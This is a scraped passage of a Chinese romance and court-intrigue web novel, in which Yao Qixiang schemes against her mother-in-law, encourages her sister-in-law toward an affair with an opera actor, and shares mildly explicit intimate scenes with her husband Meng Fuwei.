“这有什么真不真,护国公府门第是高,可孟家也是京中数一数二的,孟檀眼下虽没个功名在身,可他是个知道长进的,而且你瞧孟檀那模样,英武的少年郎,有哪个小姑娘会不喜欢?” 姚戚香点点头,孟檀生得是很不错,只可惜托生在了文人家中,否则依照孟檀那样的风姿,若是做个武将,挣个功名什么的,只怕真是要迷倒万千少女了。 “哎,说到这个……”孙月瑶道,“我这几日也是闲得发慌,想起上回你同我说过的戏来,那东西如今还有吗?” “有。”姚戚香道,“不过场次不如前面多了,你要是看,我让人去问了场次,再说与你。” “你陪我去,如何?”孙月瑶道。 “好啊。”姚戚香点头,“就当是陪你了。” “为了报答你,我还可以告诉你一个好消息。”孙月瑶神秘道。 “什么好消息?” 孙月瑶:“你们房里,孟元德与黄家的婚事,应该是吹了。” 姚戚香一时无话,自从上回见了邓卓一面后,她就再也没听见过有关孟元德婚事的消息了,连他们到底去没去孟元德所在的书院都不知道。 “你是怎么知道的?”姚戚香道。 这么多天一点风声都没走漏,常秋兰还真是瞒得够紧。 “前些日子,我娘家递来的消息,说你婆母最近又在与别的人家寻摸婚事,那黄家那个肯定黄了呀。” 倒也是这个道理。 “这怎么就是好消息了?”姚戚香笑问。 “哎呀。”孙月瑶道,“前些时候那件事,闹得那么僵,你还能和你婆母和颜悦色?我不信,她儿子倒霉,你能不高兴?” 话是这么说没错,可姚戚香的确不会因为这种不痛不痒的事高兴,她要高兴,就一定得是常秋兰真的吃到了痛处。 况且,她这嫂嫂所说的话也太直了些。 姚戚香想,眼下恐怕是撬开孙月瑶心防最好的时候,她能在这个时候与她说这些,那她为什么不照这个话题说下去,窥见几分孙月瑶对常氏的态度呢? 于是,姚戚香道:“怎么,嫂嫂与她也不睦?” 说到这个“她”字时,姚戚香刻意压重了语气,以示她对常氏的确厌恶。 而后就听孙月瑶道:“到也谈不上厌恶……” 她皱着眉:“只是你知道,她才是孟家的当家主母,二房纵然有个孟极和我公爹,但一来我公爹已经辞职赋闲了,二来孟极那厮又是个不中用的,我平日的吃穿用度还得仰仗着她的脸色,要么便是娘家的补贴。可我娘家也没有多富裕,哪里能一直补贴我?再说,我也是要脸的,要是被别人知道我总受娘家牙慧,还不知道要怎么嘲我呢。” 听着这些话,姚戚香神色忽有些黯然。 孙月瑶并不是一个心机深沉之人,她快言快语,对她毫无设防,可她与孙月瑶相对而坐,满心装的都是算计,算计如何才能将孙月瑶拉到她这边来,如何让孙月瑶与她一起对付常氏。 她愧对于此刻的孙月瑶,可她心中又没有半分后悔。 “其实……”在孙月瑶说完之后,姚戚香开口,“她之所以会选择娶我过门,便是看中了我名声不好,正好娶给她的继子。” 孙月瑶愣了愣,须臾,又了然地点头:“又不是亲生儿子,这样打算也不足为奇。” “我本以为,我从姚家嫁到这里是脱离苦海,没想到竟是又跳进一个火坑。”姚戚香道,“她对我说,如果我不听她的命令,便有千万种法子置我于死地,我本想我也是刚过门的,就算寻个由头休妻那也得三年之后吧,没想到……” “一招棋解决了你,又阻挠了孟檀高升,她可真是好计策!”孙月瑶道,“现在事情已经定论,她竟然还什么事都没有,大肆赔了些银钱礼物便大事化无了,谁叫人家是当家的主母呢!” 闻言,姚戚香无声笑笑,常秋兰是还坐着主母之位,可经历此事后,她便失了三房的人心,只要她这边再加点火候,二房本就不坚的心也要离开她去了。 两人聊着时间过得飞快,转眼天色暗了,姚戚香留孙月瑶在这边吃了饭才放她离去,她本以为今夜孟扶危不会回来,待她沐洗过后回了屋里,却见孟扶危已然在床上坐着了。 姚戚香脸莫名一热,道:“不是说这阵子很忙吗?” “嗯。”孟扶危回,“是忙,但又不是在忙自己的事,何必那么上心。” 姚戚香还是头回从他口中听见这样的话,怎么听这话的意思,倒像是有几分怨怼似的。 “……吃过饭了吗?”姚戚香转移了话题,她不太想关心孟扶危在朝中的那些事,幸而他也从不主动开口对她说。 “嗯。”他闷声应了,那双漆黑的眸子往姚戚香身上盯了一瞬,道,“过来。” …… 姚戚香慢吞吞走了过去,走到他身侧时,便被他捉住了手腕,她听见孟扶危问:“圆房那日的事,不喜欢?” 姚戚香睁大眼睛,正要将手从孟扶危手里挣脱,可却被紧紧握着,那人丝毫没有要松开的意思。 这要她怎么答?这是她能喜欢不喜欢的事吗? 虽然……虽然那回她确实觉得舒服,但…… 姚戚香的确是不好意思说出口的。 她反问:“怎么这样问?” 孟扶危道:“为何我回来之后,你一次也不同我主动提?你不想要吗?” “……”姚戚香只觉得浑身都热了起来,更难耐了。 想不想要?这种话是她能对孟扶危说出口的吗? 而且上回,孟扶危又没有……放进来,万一她再提,他放进来了怎么办? 虽然也不是不行,但能躲她还是要躲着的。 “……不、不是。”姚戚香用力将自己的手挣了出来,她也不知道孟扶危是如何顶着那副淡定自如的表情跟她问这种话的,简直是荒谬! “我要睡了!”她假意强硬,没有再去看孟扶危脸上的表情,径自从他身侧爬上了床。 她以为今夜孟扶危想,或许会在此刻强行将她拉过去,谁知身后孟扶危起身去熄了灯。 姚戚香赶紧躺下闭上眼睛,以免再生变故。 谁知躺了没一会儿,就觉得耳边痒痒的,她反应过来是孟扶危在吻她。 姚戚香扯紧了被子喊他:“孟扶危……” “再来一次,好不好?”他微冷的声音响在耳畔,竟带着几分意外的温柔。 姚戚香忙睁了眼,她问:“是和上回一样吗?” “嗯。”他答,“一样。” 姚戚香放心下来,她感觉到孟扶危的手自她腰间环过,他的吻便相继落在她的颈后,剥了衣衫,便落在背上。 她的呼吸不觉深浓起来,直到孟扶危伸手,掌住了她的腿,她便又下意识屏住了呼吸。 姚戚香不想紧张,她分明都经历过一次了,有什么好紧张的。 她一遍遍告诉自己,好不容易将心绪平稳下来。 谁料此时,孟扶危又在她耳边,轻声开口:“叫我夫君。” 第39章 第39章 孔武有力的船夫 姚戚香面上红云似火烧一般, 庆幸是在夜里,她不说,孟扶危也瞧不见。 只是那二字宛如卡在了喉咙里一般, 怎么都喊不出口来, 分明在别人面前,甚至大庭广众之下,她是最不吝于喊这个的。 身后, 孟扶危与她紧贴着, 俨然还在等她回话,姚戚香哽了半天,他却又不把手拿开,一副她若是不叫, 他就这样按着不动的样子。 “我……”姚戚香张了张口, 又息声,羞耻的感觉近乎遍及全身,叫她忍不住用手捂住了自己的脸。 “……夫君。”她口齿清晰地叫了一声,怕孟扶危挑她的刺让她再叫。 她叫完,孟扶危终于开始动了。 姚戚香蒙着脸,她看不见, 感触却并没有迟钝, 能明显感觉到自己身上的衣物被一点点解开,他倒是慢条斯理, 不疾不徐。 她从前只觉得孟扶危的手好看,今夜才知他的手有这么大, 一只手便能将她腰下那一片全都掌住。 姚戚香止不住轻咽出声,她感到难堪,孟扶危这样碰她很难堪, 她竟因为这样的触碰有了快感更加难堪。 最后,姚戚香只觉得自己淋了孟扶危一手。 然而他什么也没说,只是从她身后起来,转去净手了。 姚戚香躺在床上,心想真是丢死人了,也不知道眼下她若也去清理一番,会不会和孟扶危撞个正着…… 这样想着,没想到很快孟扶危又折回,用一块湿布替她擦拭。 姚戚香面红耳赤,不禁将被子蒙过了头顶。 虽然舒服,可姚戚香不免心中奇怪,孟扶危每次都替她弄,难道他自己不用?可她上次……分明撞见他在自己…… 这样的话姚戚香是不会问出口的,她的心跳还未平息,就见孟扶危没事人一般背对着躺在了她的身侧。 “那个……孟扶危。”姚戚香试问出声,“邬国人的事,谋害太子的事,有什么着落了吗?你这次出远门,是不是查到了些什么?” 她问完,久久没有等到孟扶危的回话,咬了咬牙只好将心一横,转过身去主动抱住了他。 她的手臂环住他的腰身,手指轻轻搭在他胸口,攀上他的左肩出声:“夫君……” “告诉我吧。”她锲而不舍。 黑暗之中,她好似瞧见孟扶危叹了声气。 “不是告诉你了?”他翻起身,“争储之事,瞬息万变,你不要淌这个浑水。” “……我没有要淌。”姚戚香垂眸,复又掀起,“你不告诉我,万一我好奇去问别人……” 倒也不是姚戚香得寸进尺,她就是有种直觉,孟扶危一定会告诉她的。 她见这人闭了闭眼,对她道:“我回京时,成王李漓已不在京中。” 姚戚香愣了愣,道:“这是……跑了?那陛下有要追杀他吗?” 孟扶危沉默了一阵,道:“陛下的意思是密而不发,成王手中还有一支私军,目前还未知下落。” 那就是说,这些事到现在还不能有定论咯?万一成王反了,万一太子党招架不住,成王登基了,那她还是白忙活一场。 姚戚香没了兴致,又重新躺了回去,听见孟扶危对她道:“你心里那个念头,我劝你趁早打消。” 姚戚香心中古怪,孟扶危知道她要干什么!?上次她探听争储之事的时候,他便用那样的眼神盯着她看,难道孟扶危真的猜出来了? 不能吧……她什么地方让孟扶危察觉出来了? “哦。”姚戚香不管三七二十一,先应下了。 隔日,细纺送来了消息,说《出墙记》会在明日登台,姚戚香得了消息便去知会孙月瑶了。 她瞧得出孙月瑶爽快,只需用些寻常手段就能与她拉近关系,届时她再承诺一番一旦她成了孟家的主母,便让孙月瑶不必再因为吃穿用度烦忧,孙月瑶与常氏之间本就有龃龉,余下还有什么不容易的? 两人约定了时间,一个下午,便从侧门出发,一起去听戏了。 隔了好几日来看,戏班子似乎是应看客需求,将船夫与贵妇的亲密戏码增加了不少,虽然还是那样隐晦,没念过什么书的还是会看不懂,可这船夫与贵妇之间的暧昧氛围任谁都能看得出来,船夫孔武,贵妇娇柔,直看得人脸红心跳。 “这船夫入戏班之前,做的本就是水上营生。”姚戚香见孙月瑶看得眼睛都直了,不由出声解说道,“只可惜后来水匪闹得厉害,杀了好几户人家,他仗着身上有些功夫才得以逃出来,被北上的戏班主一眼瞧中,这才到了京中。” 船夫肤色深黑,紧致的肌肉看上去格外有力量感,尤其是单手便能将贵妇抱起时,看得好几个娘子都红了脸。 孙月瑶险些入迷了,她轻咳了一声,问:“这贵妇与船夫,瞧着不光戏里,戏外也有情的样子。” 姚戚香勾了勾唇,道:“人家戏外确实有情。” “哦……”孙月瑶的神色肉眼可见地失落下去。 “不过是骨肉血脉的亲情。”姚戚香这才补了后半句。 孙月瑶愣住了:“什么?血脉亲情?” “是啊。那贵妇娘子是这船夫的姐姐,如今已经嫁给了戏班主,听说已身怀有孕了,演完这阵子,便不再演了。” “姐姐?为何要姐弟二人演这样的戏码?”孙月瑶不解,“就算是亲人,总也有男女大防不是?” 姚戚香摇了摇头:“讨口饭吃的营生,哪里有那么讲究?据说正是因为亲姐弟,才不会因戏生了情,又能演出那种不必培养便有的亲昵感来,他这姐姐早先在那边就嫁了人,可惜不到一年,丈夫便不慎失足落水淹死了,这戏班主既然肯娶她,可见是不在乎这些东西的。” 两人说罢,那边的戏也差不多散场了,二人一别两宽,贵妇回去之后依然是贵妇,船夫仍在江上讨生活,两人心中俱憾恨颇深,却也无可奈何。 看得人心中一番怅然,免不得便恨起那贵妇糟心的丈夫来。 孙月瑶刚惆怅了一阵,便见有人掀开了这边的门帘走了进来,一脸的俊朗之相,朝她二人生涩地笑了笑,道:“今日的戏,两位夫人可还满意吗?” 他说话间两步走进,只穿着短褂的身形外露,台上瞧的时候便觉得此人周身肌肉生得格外漂亮紧实,现在直接拉近了距离,孙月瑶只觉得一颗心都要从嗓子眼里跳出来了。 天啊……他怎么突然上来了? 姚戚香笑道:“满意满意,如你所说,这间屋子看戏的角度的确最好。” 她拿了赏银放在桌上,道:“多谢你们今日还愿意加演一场。” 船夫道:“夫人愿意看我们的戏才是我们的荣幸,我姐姐身子的确有些重了,戏班主说演过了今日,以后便不叫她上台了。” 孙月瑶很是遗憾地脱口而出:“以后便不演了吗?” 船夫垂眸向她看来,那双乌黑发亮的眸子里神采奕奕,道:“不演了,没有我姐姐,我一个人也演不成不是?” 孙月瑶被他看得脸红,下意识别开了脸。 姚戚香笑道:“嫂嫂,快些将赏银拿给人家呀。” 孙月瑶这才反应过来,伸手从荷包里摸出一小锭银子,她也想放去桌上,却见船夫已经将手伸了过来。 她将银子放了上去,指尖不由触到他粗粝的掌心,惹得孙月瑶后颈处一片战栗。 “多谢两位夫人。”船夫恭敬一礼,“若之后还想看什么戏,定雅间还可找我。” “嗯。”姚戚香点头,“你下去吧。” 等船夫退出,姚戚香瞥向孙月瑶一惊:“嫂嫂,你脸怎么红成这样?” 孙月瑶简直觉得自己要透不过气来了,看着姚戚香道:“他为何会进来?” “是嫂嫂要来,我让他帮我提前定了这间屋子,这处的景致最好,轻易可抢不到。”姚戚香道,“我让他下台之后来这里领赏。” 孙月瑶透了会儿气,才慢慢缓了过来,只想起方才船夫靠近时她所瞧见的那片景致,真是令人浮想联翩。 再想起家中的孟极,那脑满肠肥的货色,真是多看一眼都嫌恶心。 “戏看完了,我们去酒楼吃了东西再回去吧。”姚戚香道,她搬出当初云韬为她介绍的说辞,“四君子的茶和果子最好吃,千味楼的羊肉炙一绝,悦庭鱼好,肘子也好,若嫂嫂想吃得清淡些,可以去香云楼,里面都是些汤饼粥饭也好吃。” 大家闺秀,哪个整天在外面吃吃喝喝,对京城的酒楼如此了解?孙月瑶简直听得一愣一愣的,看着姚戚香的眼神有几分羡慕。 今日她是借着去姚戚香屋里的名义出来了,如若不然,孟极只怕是要对她出门一事心生不满。 哪里像姚氏一般?孟扶危肯定不管她天天往外跑。 两人去悦庭点了几个菜,吃了晚饭后才回了家,一路上,姚戚香见孙月瑶一直若有所思。 殊不知松风堂书房那边,天禄又道:“主子,今日下午,娘子和二房的孙月瑶一同去了戏班。” 孟扶危掀眸:“看的什么?” “还是那出《出墙记》,且今日,饰演船夫的李江在二位娘子的屋中待了约莫一盏茶的时间。” 说这些时,天禄仍有些惶恐,姚娘子出门,主子不放心,派人保护便是了,干什么非要暗中监督呢,害得他讨了这样的苦差事。 书房的沉默震耳欲聋,孟扶危坐在案边,垂眸看着案上的卷轴,好半天才道:“知道了,下去吧。” 第40章 第40章 鱼鳔 繁复的珠帘宝缀之下, 坐着一位雍容华贵的妇人,妇人看上去四十上下的年纪,穿着华丽庄肃的宫装, 略施粉黛的脸上带着肉眼可见的细纹。 她望着镜中的自己, 望着自己眼角、嘴角和鼻翼的细纹,凉凉笑了两声。 前两年,她的容色还能称得上年轻, 无论是宫人还是妃子, 见了她谁不奉承一句娘娘看着还如双十年华一般,可近年来,她因太过操心清儿的事,肉眼可见地衰老了许多, 就连险些咽气的皇帝都对她说:“这些日子苍老不少。” 她紧紧拿着手中的骨梳, 瘦削的手背上青筋暴起。 一个要死的贱人,竟还挑剔起她的容貌来了? 若非皇帝自己废物,怎么会这么晚才诞下嫡子,怎么会如此子嗣稀薄? 她小他近二十岁,他却对她说,她老了。 她忍了这么多年, 忍受着他的年迈无用, 忍受着他的挑剔,忍受着同房时的那些恶心, 终于自己的儿子立了太子,却因他的无用, 成王李漓带了私兵逃出城去了。 一想到成王与她的儿子朝夕共处了那么些日子,她简直后怕得浑身都在发抖。 现在呢?成王随时会带人杀回来,她的儿子最后甚至都不一定会登基。 而皇帝呢?放着她至亲至信的娘家人不用, 反倒去信一个孟扶危?那孟扶危年纪尚轻,能有什么能耐?去并州查了一趟不还是一无所获吗? 她冷冷盯着镜子,景成帝无能,他看中的人又能有什么能耐?还让那样的人来做她清儿的太傅……凭什么。 察觉到屋内有脚步声响起,她阴仄的神色转瞬消失,化出一个温柔的笑意来,起身看向身后:“陛下今日身子如何?” 景成帝看了她一眼,答非所问道:“你说,成王的私军到底有多少人马?朕的御林军能抵挡吗?” “陛下。”皇后靠近他坐了下来,温声宽慰道,“那么久了,一直未发现,想必数目也不会多到哪里去,陛下不要再为此烦心了。” 景成帝叹了口气,各州县的守军人手也紧,尚不知李漓是如何决断的,也不能贸然调兵。 天下太平已久,京中武将不多,他从前又没有在这些上费心过,毕竟他老了。 “陛下。”皇后劝慰他,“还是早些歇息吧。” 景成帝叹息一声,命人熄灭了外殿的灯- 孟扶危去沐洗了,姚戚香在妆镜前梳头的时候,听见簌簌一声,那只黄白的狸猫踩着窗棂从外面跳进了屋。 她惊了一下,余光却先瞥见柜子上高放的肉干。 那是茗玉烤鸡肉干,上面什么佐料也没放,专用来喂猫的。 她将肉干取下来一块,用手递到猫儿嘴边。 “你在找这个吗?”姚戚香不由询问出声。 狸猫最初还躲着她,不过肉干却是它吃惯的东西,远远地踌躇了一阵,慢慢蹭过来了。 姚戚香没动,由着它凑上前来闻了半天,才开始慢慢用舌头舔。 她蹲下身,一直耐心地看着狸猫吃了大半,期间忍不住上手摸了几把,它竟也没躲。 等她又想伸手去摸的时候,突然听见浴室那边的门打开了,她条件反射扔了手里剩下不多的肉干,连忙起身去床边坐着了,装作无事发生。 见那狸猫原地愣了一会儿,叼起剩下的肉干转而钻进了柜子底下。 孟扶危进来的时候,只瞧见姚戚香一个人在床边坐着,他脸上没什么表情,淡淡的,上前将手里的东西放在了床边的凳子上。 他道:“今晚用这个。” 姚戚香看了他一眼,才望向那个带着花纹的小瓶,预感不佳地问:“这是什么?” 孟扶危道:“润滑的脂膏。” 姚戚香哽住了,好半天她才找回自己的声音:“那……昨夜不是刚…了吗?” “今晚不一样。”孟扶危道。 有什么不一样?姚戚香刚要发问,对上孟扶危的眼神时她突然反应过来,是方式不一样。 今晚……和前两次不同。 姚戚香又忍不住攥紧了裙子,然后眼睁睁看着孟扶危又拿出一物来,半透的颜色,薄薄的。 “这又是……何物?”她问。 然后听见孟扶危答:“鱼鳔。” 什么?? 姚戚香连这是干什么用的都不知道,直到她看见孟扶危解了衣衫,将那物套了上去。 姚戚香咋舌,后知后觉地移开了眼。 为什么……要弄这个东西?难道是什么助兴之物? 不等她想清,孟扶危已然压了过来,他道:“我会慢些,你不要急。” 这是什么话?她才不急…… 可等真开始实践的时候,姚戚香却当真觉得孟扶危磨蹭,为什么这么慢?她都…… 都差不多了。 只是今夜不同的是,与前两次不同的是,孟扶危放了三指。 她紧紧抓着身下的枕头,紧张地轻吸着气,一双眼睛控制不住地盯着孟扶危的脸,觉得他好像也难耐极了。 “……孟扶危。”她忍不住叫他。 “不会疼。”他却道,一字字落下来,沉稳得令人安心,“我跟你保证,不会疼。” 姚戚香于是没了话说了,只是到最后忍不住想——所以,这才是真正的圆房,是吗? 之前那两次,完全是孟扶危在伺候她吧?姚戚香头回有了这样的想法,她以前总觉得,女子和男子一处,不论什么,吃亏的定然是女子。 可现在她竟然会觉得,前两回是她占了便宜的样子。 那今夜…… 今夜,姚戚香一直到后半夜才睡下。 半梦半醒间,她恍惚觉得孟扶危在给她擦洗,可很快她又沉睡过去了。 一夜好眠,她甚少有过这样连梦都不做的踏实睡眠,第二天上午醒来时,她全身都懒洋洋的。 姚戚香爬起身,正要从床边下去,就见床位还坐着一人,险些吓了她一跳。 姚戚香下意识拉上被子,出声:“你怎么还在这儿?不用去宫里吗?” 孟扶危已然穿好了衣服,闻言头也不回地回她:“我休沐。” “哦……”姚戚香抿嘴,她想下去更衣,可孟扶危在床边坐着,她怎么去? 正想着用什么法子让他出去,又听他道:“昨夜,感觉如何?” “……啊?什么感觉如何?” “比起前两次,你更喜欢哪种?”他问。 姚戚香这下真是哽住了,她看了孟扶危半天,竟真的好好思虑起来。 前两次……挺好,可昨夜……也不错,两种……都有种奇妙的感觉。 只是昨晚孟扶危的参与度更高些罢了。 “都行。”她道。 “嗯。”他应了一声,好像真的就只是为了得着这样一个答案,应完之后便起身出去了。 姚戚香松了口气。 她穿好了衣服,梳洗完毕,身上还有些足以忽略的不适感,正要出门吃些东西时,突然想起昨晚那只狸猫钻进柜子下面了,也不知道出来没有。 她弯下身,趴在地上往柜子下面看。 空的,什么也没有,应该早就走了。 正想起身时,又看见一个白色的身影嗖地一下钻了进去,在里面瞪着一双圆溜溜的眼睛看着她。 姚戚香忍不住笑出了声,她伸手将狸猫抱了出来,然后又去取了柜子顶上的肉干给她喂食。 毛茸茸的抱在怀里,软软的。 等看着它吃完那一整片肉干,姚戚香才将狸猫放走,厨房那边早就备下清粥小菜,姚戚香吃了一些,出来时见孟扶危又进书房了。 她今天起得吃了,这早饭吃得如中午一般,再过一会儿,钟嬷嬷都要过来给她上课了。 院子里有架秋千,姚戚香之前就看到了,但她从来没上去坐过,今日心血来潮,她坐了上去,瞧见绳子都是用藤条编成的,又用绳子加固过,看着挺结实的。 茗玉出声:“奴婢在后面推娘子。” “好。”姚戚香笑。 她已经有很多年没有玩过秋千了,这种久违的感觉,令她以为自己回到了小时候一般。 那个时候,在她后面帮她推的,还是她的娘。 秋千荡了起来,高高扬起,快快落下,微风扫在耳边,姚戚香觉得痛快极了。 她与茗玉的说笑声回荡在院子里,传到了不远处的书房,孟扶危一抬头就能瞧见她。 时间不知不觉过去,钟嬷嬷已经等在了院里。 “不要出声扰她。”孟扶危道,“让她再玩一会儿。” 钟嬷嬷回头笑道:“公子真是将娘子当小孩子养呢,不光是设了秋千架,竟还带回来一只狸猫让她养着,不过我瞧娘子似乎不大喜欢那只猫。” “她会喜欢的。”孟扶危道。 而且,他本心也不是要让她养猫,而是要她养她自己。【你现在阅读的是 】 40-50 第41章 第41章 私会 入了夏, 孟檀终于好事将近了。 孟府上下张灯结彩,就连下人们也都换上了喜庆的红色衣裳。 上一次是姚戚香,她那时初到孟府, 说不担忧是不可能的, 所以她毫无心思去观察孟府的布置,这一次她成了旁观的人,果然, 这成亲还是看别人成有意思。 只见孟檀一身红色喜服带着黑色滚边, 十几岁的少年英俊不凡,旁边站着一个娇柔的身影,盖着盖头,便是宜宁县主了。 高堂上坐着三房的孟祁枫, 孟檀的母亲早已不在世, 便只摆着一块牌位。 吉时将至,观礼的人全都攒在屋里等着看,姚戚香忽然发现刚刚还在同她说话的孙月瑶不见了。 她皱了皱眉,低声问茗玉:“你可瞧见孙月瑶?” 茗玉道:“方才她身边的女使金铃跟她说了两句什么,她便往二房那边院子里去了。” 大喜的日子,本不宜节外生枝, 可姚戚香却油然升起一股直觉, 她望了眼大屋,见没人注意这边, 便拉着茗玉也往二房那边去了。 走得愈近,那种感觉便愈强烈, 姚戚香不由得加快了脚步,面上却又显得四平八稳。 因这阵子她与孙月瑶时常来往,二房的下人对她的到来早已见怪不怪, 姚戚香径直便去了。 进了孙月瑶那屋,姚戚香先让茗玉在外边看着,她自己一个人走了进去,还没走到里面,就听见有人在低声说话。 “无事,你实在不必再过来一趟的,去不了是我的问题,这银子你便拿着吧。” 是孙月瑶的声音。 姚戚香皱了皱眉,继续前进几步,然后就听见一个熟悉的声音:“这本就是房间的定钱,夫人拿着吧,而且这戏票的钱也该还给夫人才是。” 是李江,那个船夫。 姚戚香眨了下眼,她没有出声,只在旁边默默听着。 “不用了……左右是我耽误了你做事,这些银子你便拿着吧。”孙月瑶推托着,“我给出去的银子没有拿回来的道理。” 两人推诿了一阵,最后李江把银子收下了。 到这里,姚戚香本以为话题要结束了,谁曾想李江又道:“夫人,我见您神色比上回憔悴,近日还是睡得不好吗?” 孙月瑶道:“没什么……许是这天气热了些,莫名惹得人心躁。” 姚戚香暗道,这才哪儿到哪儿呢,这才是初夏,要是入了盛夏…… 她听出了这只是孙月瑶的托辞,自然也明白孙月瑶只是借故想见李江几面,她本来就没打算去听戏,因为她说过,孟极不喜她总是外出。 每旬出一次,便是总是。 “那……夫人紧着身子,我先走了,若是下回还想听戏,再找我来。” “好。”孙月瑶道。 李江应该是走了,姚戚香站到了外面,看见孙月瑶的身影时,她就驻足在门内,远望着李江离去的方向。 看了良久,她才回头,一转身撞进姚戚香那双眸子里,孙月瑶吓得脸都白了。 姚戚香不觉笑出声:“若今日站在这里的不是我,而是堂兄,嫂嫂这个表情岂不是太心虚了?” 孙月瑶脸色煞白,怔怔看着姚戚香竟是一句话也说不出了。 姚戚香缓缓向她走近,道:“嫂嫂怕什么?不就是找人定了个雅间又没去成吗?” 孙月瑶结巴道:“你、你怎么过来了?吓了我一跳。” “我在席上不见嫂嫂,问了别人说嫂嫂到这儿来了,便来找你。”姚戚香面色如常,仿佛什么都不知道,也没什么都没有看出来似的。 孙月瑶道:“是、是吗?那我们现在赶紧过去吧。” 姚戚香挽着她慢慢往外走,道:“这会儿过去,只怕早就拜完天地了。” 孙月瑶这会儿正心虚,强笑道:“那倒是我耽误你观礼了。” 姚戚香摇了摇头,她看着孙月瑶,忽道:“幸而是被我看到了,若是旁人,嫂嫂会如何解释呢?” 一句话像一根细针一样扎了孙月瑶一下,她鼻尖瞬间沁出汗珠来,抬眸对上姚戚香的笑脸,只觉得分外可怕。 “他、他就只是来找我退钱的。” 姚戚香摇了摇头。 “下次,嫂嫂对别人说起时,可不要提他,而是要说自己,你就说,我不过是看他可怜,打赏他几个茶钱罢了,试想一番,若此刻问你的是孟极,你怎么能当着自己丈夫的面,为别的男人说话呢?” 孙月瑶越听越觉得心慌。 “越是做了,表面上便越是要坦荡,嫂嫂一见我,先是变了脸色,又吞吞吐吐,这岂不是坐实了人家的怀疑?” “戚香,我……” “嫂嫂,此事没什么大不了的。”姚戚香道,“不就是找男人见了两面,那怎么了?孟极去外面找妾室,喝花酒的时候,可有似你这般胆战心惊吗?” 孙月瑶不由自主地就顺着这话往下说:“可他……毕竟是男子,我却是……” “男子又如何,女子又如何?”姚戚香道,“只要无人发现,你照样是你的孟夫人,那梅娘最后不也好端端回了高门大户吗?” 梅娘,便是《出墙记》中那贵妇的名字。 孙月瑶连连摆手:“今日是我犯糊涂了,我也不知道自己是怎么想的,就是突然有些……我心里……” 她语无伦次起来,只有姚戚香看到她眼中藏匿的寂寞和彷徨。 两人走了几步,默了瞬,姚戚香道:“李江此人心眼不坏,嫂嫂若想,我愿为嫂嫂筹谋。” 这话宛如惊天一个闷雷,震得孙月瑶猛然看向她。 “你、你说什么?” “深宅后院,这种事,若后宅之中无人打掩护,无人探消息,就算一朝成事了,又如何能长久呢?”姚戚香徐徐扇着扇子,一脸平静,仿佛根本不知自己所说的究竟是一番如何惊世骇俗的话。 孙月瑶站在原地,双脚仿佛被钉住了一般,直勾勾看着姚戚香动弹不得了。 她想反驳,想说自己不是这样的,分明没有…… 可她心里,又忍不住想听一番姚戚香要如何筹谋,她就是听听,只是听听…… 于是,孙月瑶问:“要……如何做呢?” “嫂嫂自然,不能在二房,要成此事,便去大房,去我的院子里。”姚戚香道,“那里全是我的人,可他们见了你,也只当你我妯娌关系好罢了,谁会想到那桩事上?此事,除了我,我的心腹,便只有你知,你的心腹金铃知。” “戚香,我……” “嫂嫂不必急着回答,今日之事,我不会说出去,你若信我,此事我替你筹谋,你若不信,今日你便只是打赏了一个茶楼小二几个茶钱罢了。”姚戚香道。 孙月瑶看着姚戚香,忽然觉得她这个妯娌,主意很大,她听着姚戚香说话,就莫名生出一股信任来。 “你……为何为我做到如此?”孙月瑶愣愣地问。 “嫂嫂,你我都是女人,咱们女人被困在深宅大院之中,这一生本就很苦了,若还要墨守成规,那这日子还有什么意思呢?”她道,“将来有朝一日,嫂嫂老了,坐在院子里乘凉的时候,难道会想起与孟极之间的种种吗?还是膝下的儿女们呢?能回味的,左不过都是只属于自己的那一点东西罢了。” 孙月瑶深呼吸着,她的理智绷成了一根根紧弦,她很清楚知道自己不该越过雷池,很清楚知道自己应该速速与姚戚香解释清楚,很清楚知道自己以后再也不能见李江了。 可她只是沉默着,她既没有点头应允,也没有摇头拒绝,她在踌躇犹豫着,她在想……她能不能做那戏中的梅娘。 “走吧。”姚戚香一脸轻松,“若再不去席上,谁都要发现你我二人不见了。” 话题被一带而过,等孙月瑶想要表些态度时,似乎又不必了。 今日什么事都没有发生。孙月瑶在心中默念。 两人回到了三房的喜宴上,孙月瑶娘家的人见两人走来,凑上前道:“哎,你去哪儿了?我找了一圈也没找着你。” 来人问的自是孙月瑶,孙月瑶心里一个咯噔,正要开口,便听见身侧的姚戚香率先道:“还不是那席上的果子凉了些,我拉着嫂嫂,陪我去更衣了。” “是啊,我也吃不得那个,就吃了一颗,灌了好几盏热茶下去,这天到底是还凉哟。”那人道,“行了,走吧,正开席呢!” 从始至终,孙月瑶都不必开口,没人注意到她去了哪里,她好像哪里都没去,一直在这席上坐着似的。 如此简单,这样就被姚戚香一句话打发过去了。 也是因此,孙月瑶才发现自己找的借口有多蹩脚可笑,什么天热难睡,她分明是心火难消。 怕是李江,也听出来了吧…… 她脸上一阵阵地发热,然后端起桌上的酒,吃了一杯。 天色黑了,等屋里到处点上了灯,大家又热闹了一阵,这场喜宴才终于散了,有年轻的小娘子们想去闹洞房那边凑个热闹,姚戚香本想回去的,可转念想想,孟檀是孟家最后一个男郎了,只怕是除开这回,她再也没有机会去瞧人家闹洞房,便也一同跟了去。 从前厅走到后院,路程不算太远,只是廊下虽有点着灯笼,待离了回廊,走入庭院深处时,脚下却漆黑不见路,走上十几步到了一个路口才能瞧见一个灯笼,他们过来得急,本来就没带几个下人,前面那几个小娘子身边的人拿着的灯,照不到姚戚香脚下来。 她近乎是摸着黑走,少不得要茗玉紧紧扶着她。 忽而,姚戚香开口抱怨:“怎么这大房与三房的宅子不是一伙人修的不成?为何三房这边地上没放灯呢?” 明明她院子里那边就有,晚上走起路来,连灯笼都不用掌,别提多方便了。 茗玉道:“娘子,咱们院子里的灯,是娘子嫁过来之前,公子才让人放上去的。” 姚戚香往前走着的脚步突然就顿住了,她回过头,摸黑看着茗玉,道:“你说什么?” “娘子不知吗?”天黑,茗玉的神情她瞧不见,只听见茗玉的声音,“咱们院子里的那些灯,是公子专门让人打造了放在地上的,说是将来新妇过门,走路方便。” 姚戚香不出声了。 这实在是一件……极其微不足道的小事。 可莫名地,她脑海中就是浮现出了孟扶危站在道旁,叮嘱着下人放灯的模样,他长身玉立,脸上定是没有一点表情,连嘱咐的口吻都是淡淡的。 她脑子里禁不住想——那个时候,孟扶危难道是在期待着她这个新妇的吗? 第42章 第42章 不和离了 洞房里的是宜宁县主, 真正去闹的便也只是那几个与宜宁县主亲近的王女,况且也不能说是闹,不过投几个乐子, 让今夜更热闹些罢了。 宜宁县主喜甜, 喂她吃的便是半生不熟的生汤圆,姚戚香这个时候才得以随着人流挤到了前面,得见这位宜宁县主的容貌, 